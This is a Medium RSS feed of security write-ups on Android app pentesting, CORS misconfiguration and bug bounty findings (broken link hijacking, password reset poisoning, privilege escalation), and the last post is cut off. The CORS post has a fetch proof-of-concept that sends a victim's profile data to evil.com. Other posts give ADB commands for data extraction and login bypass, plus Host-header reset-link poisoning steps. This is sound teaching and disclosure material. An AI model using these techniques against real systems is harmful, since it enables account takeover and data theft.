<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cyb3r M!nds on Medium]]></title>
        <description><![CDATA[Stories by Cyb3r M!nds on Medium]]></description>
        <link>https://medium.com/@cyb3rmind?source=rss-d23ef960012c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*yhX4uC3sqBpAM693KWoyeQ.jpeg</url>
            <title>Stories by Cyb3r M!nds on Medium</title>
            <link>https://medium.com/@cyb3rmind?source=rss-d23ef960012c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 04:47:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cyb3rmind/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Part 2: Static Analysis (The Attack/Code Review)]]></title>
            <link>https://cyb3rmind.medium.com/part-2-static-analysis-the-attack-code-review-36009ab1cc54?source=rss-d23ef960012c------2</link>
            <guid isPermaLink="false">https://medium.com/p/36009ab1cc54</guid>
            <category><![CDATA[mobile-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[static-code-analysis]]></category>
            <dc:creator><![CDATA[Cyb3r M!nds]]></dc:creator>
            <pubDate>Sun, 12 Jul 2026 16:28:22 GMT</pubDate>
            <atom:updated>2026-07-12T16:28:22.424Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome back, researchers! In our previous guides, we built the ultimate hacking lab and wired up our proxies. But before you start throwing payloads at a running app like an overexcited sorcerer, you need to <strong>read the map.</strong></p><p>Today, we dive into <strong>Static Analysis</strong>. We aren’t running the app yet. We are dissecting it, line by line, to find the “sins” developers leave behind. Grab your toolkit; it’s time to see through the code.</p><h3>The Methodology: A 4-Step Deconstruction</h3><p>Static analysis follows a logical flow. You start with the high-level configuration and drill down into the logic.</p><ol><li><strong>Reconnaissance (The Manifest):</strong> Checking the app’s “ID card” for misconfigurations.</li><li><strong>Secret Hunting (Resources):</strong> Digging through strings and assets for hardcoded keys.</li><li><strong>Code Review (Java/Smali):</strong> Analyzing the logic for crypto flaws or insecure storage.</li><li><strong>Automated Audit:</strong> Using scanners to find low-hanging fruit quickly.</li></ol><h4>Tools needed for analysis:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HTSywgw5bpHeBQLvZfPCJg.png" /></figure><h3>The Top 4 Static Vulnerabilities:</h3><h3>1. The “Debuggable” Open Door (android:debuggable=&quot;true&quot;)</h3><ul><li><strong>How to find:</strong> Open AndroidManifest.xml In JADX and search for the tag inside &lt;application&gt;.</li><li><strong>Impact:</strong> A local attacker or a malicious app on the same device can attach a debugger (JDWP). They can read all app memory, extract session tokens, and even change variable values at runtime to skip logins.</li><li><strong>Victim Risk:</strong> Complete account takeover if the phone is physically accessed or compromised by malware.</li><li><strong>Mitigation:</strong> <strong>Explicitly set to </strong><strong>false</strong> in the production manifest. Pro-tip: Use Build Variants in Android Studio to automate this.</li></ul><h3>2. The Loot Box Flag (android:allowBackup=&quot;true&quot;)</h3><ul><li><strong>How to find:</strong> Check for this in the Manifest. Note: If it’s missing, it defaults to <strong>true</strong> (except on very modern SDKs).</li><li><strong>How to Exploit:</strong> Use ADB: adb backup -f loot.ab -noapk com.package.name.</li><li><strong>Impact:</strong> An attacker can clone the app’s internal database, SharedPreferences, and cached files to their own PC—even if the phone isn&#39;t rooted!</li><li><strong>Victim Risk:</strong> Loss of private data (chats, tokens, local history) if the device is plugged into a suspicious charging station or borrowed.</li><li><strong>Mitigation:</strong> Set android:allowBackup=&quot;false&quot;. If backup is required, use the <strong>BackupAgent</strong> to encrypt the data.</li></ul><h3>3. The “Exported” Trapdoors (android:exported=&quot;true&quot;)</h3><ul><li><strong>How to find:</strong> Look for Activities, Services, or Receivers with this flag.</li><li><strong>The Scenario:</strong> An app has a com.bank.app.PaymentActivity. It’s exported.</li><li><strong>How to Exploit:</strong> adb shell am start -n com.bank.app/.PaymentActivity.</li><li><strong>Impact:</strong> Any app on the device can “jump” directly to this screen, bypassing the login or PIN requirement.</li><li><strong>Victim Risk:</strong> Unauthorized actions (e.g., triggering a transfer or viewing a private profile) performed by a malicious app installed on the user’s phone.</li><li><strong>Mitigation:</strong> Set exported=&quot;false&quot; for any component that shouldn&#39;t be public. Use <strong>Custom Permissions</strong> if it <em>must</em> be shared.</li></ul><h3>4. Hardcoded Secrets &amp; Insecure WebViews</h3><ul><li><strong>How to find:</strong> * <strong>Secrets:</strong> Search res/values/strings.xml or code for AWS_KEY, FIREBASE_URL.</li><li><strong>WebViews:</strong> Search for setJavaScriptEnabled(true) or addJavascriptInterface.</li><li><strong>Impact:</strong> * <strong>Secrets:</strong> Could lead to full server-side compromise (e.g., uncontrolled access to a Firebase DB).</li><li><strong>WebViews:</strong> If JavaScript is enabled and the app loads a vulnerable URL, an attacker can perform <strong>XSS</strong> to steal local files via file:// access.</li><li><strong>Mitigation:</strong> Never store keys in the APK; use the <strong>Android Keystore</strong>. For WebViews, disable JS if possible and use setAllowFileAccess(false).</li></ul><h3>🛠️ Step-by-Step Pentest Workflow</h3><ul><li><strong>Decompile for Code:</strong> Open the APK in <strong>JADX-GUI</strong>. Search (Ctrl+Shift+F) for MODE_WORLD_READABLE (deprecated but still seen!) or SQLiteDatabase.</li><li><strong>Decompile for Patching:</strong> Use apktool d myapp.apk. Change allowBackup to true in the Manifest if you want to test data extraction.</li><li><strong>Rebuild &amp; Sign:</strong></li></ul><pre>apktool b myapp_folder -o patched.apk<br>zipalign -v 4 patched.apk signed_patched.apk<br>apksigner sign --ks my-release-key.jks signed_patched.apk</pre><ul><li><strong>Automate with MobSF:</strong> Run the MobSF Docker container and upload the APK. Check the “Manifest Analysis” section first — it will color-code these sins for you.</li></ul><h3>Pro Tip for Researchers</h3><p>When you find an exported activity, don’t just report it. <strong>Prove it.</strong> Use ADB to launch the activity and show that it skips the login screen. That’s the difference between a “finding” and a “vulnerability.”</p><p>So, that’s it for now, and thanks for reading, and I appreciate you taking the time to read. For other such write-ups, do visit the <a href="https://cyb3rmind.medium.com/"><strong>writeups</strong></a>.</p><p>If you found it useful, please click the button👏and share it with others who have similar interests! + Feedback is always appreciated!!😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=36009ab1cc54" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Part 1: Mastering Android VAPT: The Ultimate Pentester’s Guide]]></title>
            <link>https://cyb3rmind.medium.com/part-1-mastering-android-vapt-the-ultimate-pentesters-guide-6a9a912e64bc?source=rss-d23ef960012c------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a9a912e64bc</guid>
            <dc:creator><![CDATA[Cyb3r M!nds]]></dc:creator>
            <pubDate>Sat, 25 Apr 2026 05:23:25 GMT</pubDate>
            <atom:updated>2026-04-25T05:23:25.093Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello👋 and welcome, fellow cyber explorers! If you’ve spent any time in the web application world, you know the thrill of finding a broken access control or a juicy XSS. But today, we’re stepping away from the browser. We’re going <strong>mobile</strong>.<br>In this two-part series, we aren’t just looking at tools; we are dissecting the very DNA of Android to understand <em>how</em> to break it. Today, in Part 1, we cover the architecture, the “War Room” setup, and the art of Static Analysis.</p><h3>1. The Foundation — Architecture</h3><h4>Understanding the Android Architecture:</h4><p>You can’t break what you don’t understand. Android isn’t just a single OS; it’s a stack of layers, each with its own attack surface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*8ixHHMuaXGCT6wLvexg-Xg.png" /></figure><ul><li><strong>Linux Kernel</strong>: The base layer. It handles hardware drivers and memory. If there’s a vulnerability here, you’re looking at full device compromise.</li><li><strong>Native Libraries</strong>: Written in C/C++. Think <strong>SQLite</strong> for data or <strong>WebKit</strong> for rendering. These are often targets for buffer overflow attacks.</li><li><strong>Android Runtime (ART/Dalvik)</strong>: This is the engine that runs the app’s code. Modern apps use ART, which compiles code into native machine language for speed.</li><li><strong>Application Framework</strong>: These are the APIs that developers use (such as Window Manager or Content Providers).</li><li><strong>Application Layer</strong>: This is where your .apk lives. Every app runs in a &quot;Sandbox,&quot; meaning it has its own space and can&#39;t touch other apps unless permissions are granted.</li></ul><h4>The Components of an App:</h4><p>When you test an app, you are testing these four things:</p><ol><li><strong>Activities:</strong> Every single screen you see is an “Activity.”</li><li><strong>Services:</strong> Invisible workers. They download files or play music in the background.</li><li><strong>Broadcast Receivers:</strong> The app’s “ears.” They listen for events like “Battery Low” or “Internet Connected.”</li><li><strong>Content Providers:</strong> The app’s “file cabinet.” They manage data and share it with other apps. <strong>(High-risk area for data leaks!)</strong></li></ol><h3>2. Setting Up Your Lab (Tools)</h3><p>You can’t perform VAPT without the right gear. Here is what you need and <strong>why</strong>:</p><h4>The Emulator (The Virtual Phone)</h4><p>You don’t want to hack your personal phone. Use <strong>Genymotion</strong> or <strong>MemuPlay</strong>.</p><ul><li><strong>Why:</strong> They allow you to “Root” the device easily, which is necessary to see hidden system files.</li></ul><h4>The Reverse Engineering Tools</h4><ul><li><strong>Jadx / JD-GUI:</strong> These turn the compiled, unreadable app code back into <strong>Java</strong>, so you can read the logic.</li><li><strong>Apktool:</strong> Used to pull the app apart and, more importantly, <strong>put it back together</strong> after you’ve modified it.</li><li><strong>ADB (Android Debug Bridge):</strong> The most important command-line tool. It’s the “bridge” that lets your PC send commands to the phone.</li></ul><h4>The Dynamic Analysis Tools</h4><ul><li><strong>Burp Suite:</strong> Used to intercept the internet traffic between the app and the server.</li><li><strong>Frida:</strong> This is “runtime manipulation.” It lets you inject your own code into a running app to force it to behave differently (e.g., skip a password check).</li><li><strong>Objection:</strong> A simpler “UI” for Frida. It makes complex tasks like bypassing SSL pinning a single-command job.</li></ul><h3>3. <strong>Proxy Setup in Android:</strong></h3><p>Before we hack, we must “Middle-Man” the traffic.</p><h3>Setting up the Proxy</h3><ol><li><strong>Burp Suite:</strong> Open Burp, go to Proxy Settings, and set it to listen on “All Interfaces” on Port 8081.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*enhZW-NDGwZcx9N6O1nyEg.png" /></figure><p><strong>2. Android Wifi:</strong> Go to your Emulator’s Wifi settings -&gt; Manual Proxy. Enter your PC’s IP address and Port 8081.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*3qniEKVBCJhYBGzYjKnClw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*IKpmh91m7XMifnDULOthVg.png" /></figure><p><strong>3. The Certificate:</strong> This is the tricky part. Android doesn’t trust Burp by default. You must export the Burp Certificate (.cer), push it to the phone via ADB, and install it in the settings.</p><p><strong>The ADB Command to move files:</strong> adb push cacert.crt /sdcard/Download/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dnP9uV-BlB7RPEE0PTfTHw.png" /></figure><p>Navigate to Settings → Advanced -&gt; Install from sdcard</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*3bCS1qLDznq--8N3K7gP-Q.png" /></figure><p>Now, let’s talk about how to install the application, but first,</p><h3><strong>What is an APK?</strong></h3><p><em>APK stands for Android Package Kit, which is essentially a Zip File containing your application’s code, images, and other files; we will look at the contents of the APK.</em></p><blockquote><strong>Android Manifest: </strong><em>This file contains detailed information about the APK, written in XML format; it is the first file you should check at before starting your testing, such as package information, Application components (Describes the app’s operations, content providers, services, intent filters, and broadcast receivers), app permissions, version details (the minimum and maximum Android SDK versions needed to execute the app)</em></blockquote><blockquote><strong>Classes.dex: </strong><em>This file contains the compiled bytecode of the Android application.</em></blockquote><blockquote><strong>Res: </strong><em>contains the drawable resources of the application including images, layout files, Values, and animation files. This directory is only interesting for its strings file which contains values stored by the APK.</em></blockquote><blockquote><strong>Lib : </strong><em>contains compiled code and native libraries that the application requires to run</em></blockquote><blockquote><strong>Meta-Inf : </strong><em>contains metadata about the APK like</em></blockquote><blockquote><strong>APK Certificate</strong> : ( <em>The Signature that verifies the APK which aims to prevent tempering of the APK</em> )</blockquote><p>Now, we will start with apk installation.</p><p>1) Directly drag and drop an APK file. <strong>OR</strong><br>2) Using the adb command: adb install &lt;apk_name&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*mtHD4tbsdLDdjgi0kwdwpA.png" /></figure><p>3) If the Application is in playstore, directly install it from there.</p><p>Here, the setup is completed. So, lets talk about the testing of the application/apk.</p><p>So, that’s it for now, and thanks for reading, and I appreciate you taking the time to read. For other such write-ups, do visit the <a href="https://cyb3rmind.medium.com/"><strong>writeups</strong></a>.</p><p>If you found it useful, please click the button👏and share it with others who have similar interests! + Feedback is always appreciated!!😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a9a912e64bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Deep Dive into CORS Misconfigurations]]></title>
            <link>https://cyb3rmind.medium.com/a-deep-dive-into-cors-misconfigurations-c3cc536b28ef?source=rss-d23ef960012c------2</link>
            <guid isPermaLink="false">https://medium.com/p/c3cc536b28ef</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[infosec-write-ups]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Cyb3r M!nds]]></dc:creator>
            <pubDate>Wed, 18 Feb 2026 11:58:41 GMT</pubDate>
            <atom:updated>2026-02-18T11:58:41.129Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello👋 and welcome, fellow cyber explorers! Today, we’re diving into a common but dangerous flaw in modern web security: CORS (Cross-Origin Resource Sharing) misconfiguration. If you’ve ever wondered how an attacker can steal your private profile data just by getting you to click a link, this is how they do it.</p><h4>The Security Guard: Same-Origin Policy (SOP)</h4><p>Before we talk about CORS, we have to talk about the <strong>Same-Origin Policy (SOP)</strong>. Imagine SOP is a security guard at a bank. If a script from attacker.com tries to peek at your balance at bank.com, the guard stops it. This keeps your data safe.</p><p>However, modern apps are complex. Your frontend might live at app.example.com while your data lives at api.example.com. To let them talk to each other, developers use <strong>CORS</strong> to relax the security rules.</p><h3>What is CORS (cross-origin resource sharing)?</h3><p>Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain. However, it also provides potential for cross-domain attacks, if a website’s CORS policy is poorly configured and implemented. CORS is not a protection against cross-origin attacks such as cross-site request forgery (CSRF).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l8cHMa0UNPkeud5ZtR6y_w.png" /><figcaption>Cors Misconfigured</figcaption></figure><h3>How the “Handshake” Works</h3><p>When a browser makes a request to a different domain, it doesn’t just barge in. It performs a “handshake” to ask for permission.</p><h3>The Preflight Check</h3><p>As shown in the diagram below, for certain requests, the browser sends a “Preflight”.</p><p><strong>Step 1:</strong> The browser sends an OPTIONS request to the server, asking: &quot;Hey, is yourdomain.com allowed to talk to you?&quot;.</p><p><strong>Step 2:</strong> The server responds. If it says “Yes,” the browser moves forward.</p><p><strong>Step 3 &amp; 4:</strong> The browser sends the real request and receives the sensitive data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/0*PNbTXCfEGmftFOi6.png" /></figure><h3>4 Ways This Handshake Breaks (The Vulnerabilities)</h3><h4>1. The “Yes to Everyone” Flaw (Reflected Origin)</h4><p>Some servers are lazy. Instead of checking a list of allowed sites, they just look at whoever is asking and say, “Yes, you are allowed!”.</p><ul><li><strong>The Flaw:</strong> If an attacker sends a request from evil.com, the server reflects evil.com back in the headers.</li><li><strong>The Result:</strong> If the server also allows <strong>Credentials</strong>, the attacker can steal your private session cookies and log into your account.</li></ul><h4>2. Regex and Parsing Bypasses</h4><p>Many developers attempt to “whitelist” subdomains using regular expressions or simple string matches like endsWith.</p><ul><li><strong>The Flaw:</strong> A rule intended to allow *.trusted.com might be written as trusted.com$.</li><li><strong>The Bypass:</strong> An attacker can register not-so-trusted.com or attacker-trusted.com. Because the string ends with the whitelist value, the browser grants access.</li></ul><h4>3. The “Null” Origin Vulnerability</h4><p>The null origin is often used for local file access (file:///) or sandboxed iframes. Some developers whitelist null for local testing and forget to remove it.</p><ul><li><strong>The Exploit:</strong> Attackers can force a null origin by using a sandboxed iframe. If your server trusts null, the attacker’s script can bypass the SOP and exfiltrate data.</li></ul><h4>4. Trusting Insecure Protocols</h4><p>A server may trust https://example.com but also allow <a href="http://example.com./">http://example.com.</a></p><ul><li><strong>The Risk:</strong> If an attacker can perform a Man-in-the-Middle (MitM) attack on the HTTP connection, they can inject JavaScript into the “trusted” origin and use it to steal data from the HTTPS site via CORS.</li></ul><h3>How to Test for CORS Misconfigurations</h3><p>The testing is straightforward with tools like <strong>Burp Suite</strong> or <strong>cURL</strong>.</p><p><strong>The cURL Check:</strong> Try sending a request with a fake origin:</p><pre>curl -H &quot;Origin: https://evil.com&quot; -I https://api.your-app.com/v1/user</pre><p><strong>What to look for:</strong></p><ul><li><strong>Medium Risk:</strong> If the response includes Access-Control-Allow-Origin: https://evil.com AND Access-Control-Allow-Credentials: true.</li><li><strong>Low Risk:</strong> If the response includes Access-Control-Allow-Origin: * but the endpoint contains sensitive, non-public data.</li></ul><h3>Attack Flow:</h3><ol><li>The victim is logged into target.com</li><li>Attacker hosts a malicious site: evil.com</li><li>Victim visits evil.com</li><li>Malicious JavaScript sends a cross-origin request to:</li></ol><p><a href="https://api.target.com/user/profile">https://api.target.com/user/profile</a></p><p>5. Due to CORS misconfiguration, the browser allows the response</p><p>6. Attacker steals sensitive data silently</p><h4>Proof-of-Concept (Simplified)</h4><pre>fetch(&quot;https://api.target.com/user/profile&quot;, {<br>  credentials: &quot;include&quot;<br>})<br>.then(res =&gt; res.text())<br>.then(data =&gt; {<br>  fetch(&quot;https://evil.com/log?data=&quot; + btoa(data));<br>});</pre><h3>The Remediation Strategy</h3><p>Fixing CORS isn’t about “disabling” it — it’s about implementing a <strong>strict allow-list</strong>.</p><h4>1. Implement a Strict Whitelist</h4><p>Never reflect the Origin header directly. Instead, maintain a server-side list of trusted domains and compare the incoming header against it using <strong>exact string matching</strong>.</p><h4>2. Avoid Wildcards with Credentials</h4><p>The CORS specification actually prohibits using it Access-Control-Allow-Origin: * alongside Access-Control-Allow-Credentials: true. Modern browsers will block this, but legacy systems or custom clients might still be vulnerable.</p><h4>3. Use SameSite Cookie Attributes</h4><p>While not a CORS fix, setting your session cookies to SameSite=Lax or Strict provides a critical second layer of defense. It prevents the browser from sending cookies in cross-site contexts, rendering most CORS exploits useless for stealing sessions.</p><h4>4. Use Framework-Level Middleware</h4><p>Don’t write your own CORS logic. Use well-vetted libraries like:</p><ul><li><strong>Node.js:</strong> cors middleware.</li><li><strong>Python/Django:</strong> django-cors-headers.</li><li><strong>Go:</strong> rs/cors.</li></ul><h3>Summary</h3><p>CORS misconfigurations are often “low-hanging fruit” for attackers because they are easy to automate and can lead to full account takeover. By moving away from dynamic reflection and toward strict, exact-match whitelisting, you can close this silent gateway for good.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c3cc536b28ef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[#8. Bug Bounty Series: Broken Link Hijacking Vulnerability | Hall of Fame]]></title>
            <link>https://cyb3rmind.medium.com/8-bug-bounty-series-broken-link-hijacking-vulnerability-hall-of-fame-28deeccf1c8c?source=rss-d23ef960012c------2</link>
            <guid isPermaLink="false">https://medium.com/p/28deeccf1c8c</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[broken-link-hijacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hijacking]]></category>
            <dc:creator><![CDATA[Cyb3r M!nds]]></dc:creator>
            <pubDate>Sat, 28 Dec 2024 07:29:29 GMT</pubDate>
            <atom:updated>2025-01-03T11:45:21.042Z</atom:updated>
            <cc:license>https://creativecommons.org/publicdomain/mark/1.0/</cc:license>
            <content:encoded><![CDATA[<p>Hello👋 and welcome, fellow cyber explorers!. I’m excited to share an interesting vulnerability I discovered during a bug bounty program. This time, it was a case of Broken Link Hijacking – a straightforward but highly impactful issue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Bw_3hIWXN9PhwvNc.png" /></figure><h3>Description:</h3><blockquote>Broken link hijacking (BLH) is a type of web attack. It exploits external links that are no longer valid. If your website or web application uses resources loaded from external URLs or points to such resources and these resources are no longer there ( for example due to an expired domain ), attackers can exploit these links to perform defacement, impersonation, or even to launch cross-site scripting attacks.</blockquote><h3>Impacts of BLH:</h3><ol><li>Data Theft and Privacy Violation: Broken Link Hijacking can lead to data theft, identity exposure, and privacy violations.</li><li>Social Engineering and Scams: this technique is exploited for social engineering attacks and scams.</li></ol><p>A broken link might seem minor, but it can cause serious harm to your website, reputation, and business. Even one broken link can hurt your user experience, lower search engine rankings, reduce revenue, and drive customers away. In some cases, it can even lead to phishing attacks.</p><p><em>BLH is not only possible in Social media account. If website using any third party domain and it expires. we can takeover that too.</em></p><p><strong>Now let’s get to the main point….</strong></p><p>While examining the target, I noticed various social media icons like Facebook, Twitter and Instagram at the bottom of the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SS0EnpmMC_qXpfQo0p8qqw.png" /></figure><p>When I clicked on the Instagram icon, it led to a username that didn’t have an associated account – it showed no Instagram account existed for that username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sbwiXlHo-42eK_JwZsrimQ.png" /></figure><p>I immediately created an Instagram account using that username. Once the account was set up, the link on the target’s page redirected to the newly created Instagram account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jT725UY6EyYOJZsuYVVD2A.png" /></figure><p>An attacker could exploit this broken link to harm the company’s reputation. I reported the issue to the company, and they responded by acknowledging the bug. They also informed me that it was eligible for the Hall of Fame.</p><p>So, that’s it for now and thanks for reading and I appreciate you taking the time to read. For other such writeups do visit the <a href="https://cyb3rmind.medium.com/"><strong>writeups</strong></a>.</p><p>If you found it useful, please click the button 👏and share it with others who have similar interests! + Feedback is always appreciated!!😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28deeccf1c8c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[#7. Bug Bounty Series: Password Reset Poisoning Attack]]></title>
            <link>https://cyb3rmind.medium.com/7-bug-bounty-series-password-reset-poisoning-attack-a5bc32e43fd2?source=rss-d23ef960012c------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5bc32e43fd2</guid>
            <category><![CDATA[forgot-password]]></category>
            <category><![CDATA[host-header-injection]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[account-takeover]]></category>
            <dc:creator><![CDATA[Cyb3r M!nds]]></dc:creator>
            <pubDate>Wed, 13 Nov 2024 16:16:02 GMT</pubDate>
            <atom:updated>2024-11-13T16:16:02.795Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello👋 and welcome, fellow cyber explorers!. Today, I’m excited to talk about a sneaky type of attack known as password reset poisoning. We’ll break down how these attacks work and what you can do to protect yourself. Let’s dive in and learn more about this important topic together!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gk9iKd5fq9w0RyUN.jpg" /></figure><h3>Description:</h3><blockquote><strong>Host Header Injection</strong> is a vulnerability in which an attacker manipulates the Host header and cause the application to behave in unexpected ways. Header simply specifies which web site should process the HTTP request. In short if any malicious user is able to handle this header to their desired domain and if server is not validating it then it leads to host header injection.</blockquote><blockquote><strong>Password reset poisoning</strong> is a technique whereby an attacker manipulates a vulnerable website into generating a password reset link pointing to a domain under their control. This behavior can be leveraged to steal the secret tokens required to reset arbitrary users’ passwords and, ultimately, compromise their accounts.</blockquote><h3>Impacts of Host Header Injection:</h3><ul><li><strong>Account Takeover</strong>: Attackers can manipulate password reset links to gain unauthorized access to user accounts.</li><li><strong>Phishing Risk</strong>: Redirected links can lead to fake login pages, allowing attackers to steal credentials.</li><li><strong>Sensitive Data Exposure</strong>: Compromised accounts may expose personal or confidential information.</li><li><strong>Session Hijacking</strong>: Attackers can intercept password reset links to hijack active sessions.</li><li><strong>Reputational and Legal Consequences</strong>: Breaches can damage trust and lead to penalties under data protection laws.</li></ul><p><strong>Now let’s get to the main point….</strong></p><p>While testing a CRM portal let’s say www.example.com, I found a misconfiguration in the password reset feature. I tried several methods, for testing like rate limiting, SQLi etc., but nothing seemed to work. Finally, I experimented with changing the HOST header, and that’s when I got results — successfully exploiting the issue.</p><h3>Steps to Reproduce:</h3><ol><li>Visit the forgot password page and add the email address(I have used Temp mail).</li></ol><p><a href="https://www.example.com/password/reset">https://www.example.com/password/reset</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*LRU7dGASCYAwh7THbJRZ9g.png" /></figure><p>2. Intercept the request using BurpSuite and Send the request to Repeater.</p><p>3. Change the Host to <a href="http://www.evil.com/">www.evil.com</a> and click on send request.</p><p>4. We can see the status code is 302 Found and the redirection is occurred.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xSQ5h9z7ADBOfTo7mmWcRg.png" /></figure><p>5. Now go to the inbox and check the reset password link. We can see that the reset link contains the <a href="http://www.evil.com/">www.evil.com</a> host which we changed in the repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*mWDg3uOwfrjg4eQhmEMJNg.png" /></figure><p>6. I reported the vulnerability and I received reply from program that they are accepting the bug and will let me know once fixed and I’m eligible for the bounty.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F26570275&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fhacker-hacking-hackerman-cyberpunk-antwon-gif-26570275&amp;image=https%3A%2F%2Fmedia.tenor.com%2FqVKlQMB2DpsAAAAN%2Fhacker-hacking.png&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/ab7b4fc1f11d8216a9dcb17c14c1c0da/href">https://medium.com/media/ab7b4fc1f11d8216a9dcb17c14c1c0da/href</a></iframe><p>Many developers don’t realize that users can change the HTTP host header. For security, user input should never be trusted without checks. So, developers need to see host header risks as a serious threat and use measures to protect against them.</p><h3>Mitigations:</h3><ul><li>Implement strict validation of the host header. This involves configuring the application to accept only known and valid host headers</li><li>If the inclusion of the current domain is necessary, then it should be specified in a custom configuration file in the server-side code, and should not depend upon the host header.</li><li>Disable the support of Host override headers like X-Forwarded-Host, X-Forwarded-For, etc.</li><li>Generate unique, time-sensitive tokens for password resets that are difficult to guess and expire after a short period.</li><li>Implement MFA.</li></ul><p>So, that’s it for now and thanks for reading and I appreciate you taking the time to read. For other such writeups do visit the <a href="https://cyb3rmind.medium.com/"><strong>writeups</strong></a>.</p><p>If you found it useful, please click the button 👏and share it with others who have similar interests! + Feedback is always appreciated!!😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5bc32e43fd2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[#6. Bug Bounty Series: Vertical Privilege Escalation via Session Storage]]></title>
            <link>https://cyb3rmind.medium.com/6-bug-bounty-series-vertical-privilege-escalation-via-session-storage-be377380bfe4?source=rss-d23ef960012c------2</link>
            <guid isPermaLink="false">https://medium.com/p/be377380bfe4</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Cyb3r M!nds]]></dc:creator>
            <pubDate>Sat, 05 Oct 2024 09:46:12 GMT</pubDate>
            <atom:updated>2024-10-05T09:46:12.199Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello👋 and welcome, fellow cyber explorers!. Today, I’m excited to share my another write-up on vertical privilege escalation where I escalated the Low User privilege to Super Admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*_DoMlF_pziEyZs0ofqrI2Q.png" /></figure><h3>Description:</h3><blockquote><strong>Vertical Privilege Escalation</strong> refers to the process of gaining higher privileges than the user currently has. For example, a low-level employee may exploit a vulnerability in the system to gain administrative privileges, thus obtaining the ability to perform actions with a much higher level of authority.</blockquote><h3>Impacts of <strong>Vertical Privilege Escalation</strong>:</h3><ul><li>Gaining access to other connected systems</li><li>Gaining access to applications or data on a system beyond the privileges of the original compromised account, manipulating the data.</li></ul><p><strong>Now let’s get to the main point….</strong></p><p>I was testing a web application which has four different roles — <strong>Employee, Manager, Admin and Super Admin</strong> — assuming the domain as <strong><em>example.com</em></strong> as I&#39;m not allowed to reveal the domain name. Initially I tried to look at the user’s activity to see how they are recognized as an employee and administrator role, but there was no any interesting points.</p><p>I used a Employee user account to log in and tested the web application’s features. Employee could not edit data within the portal and had restricted access to features and resources. 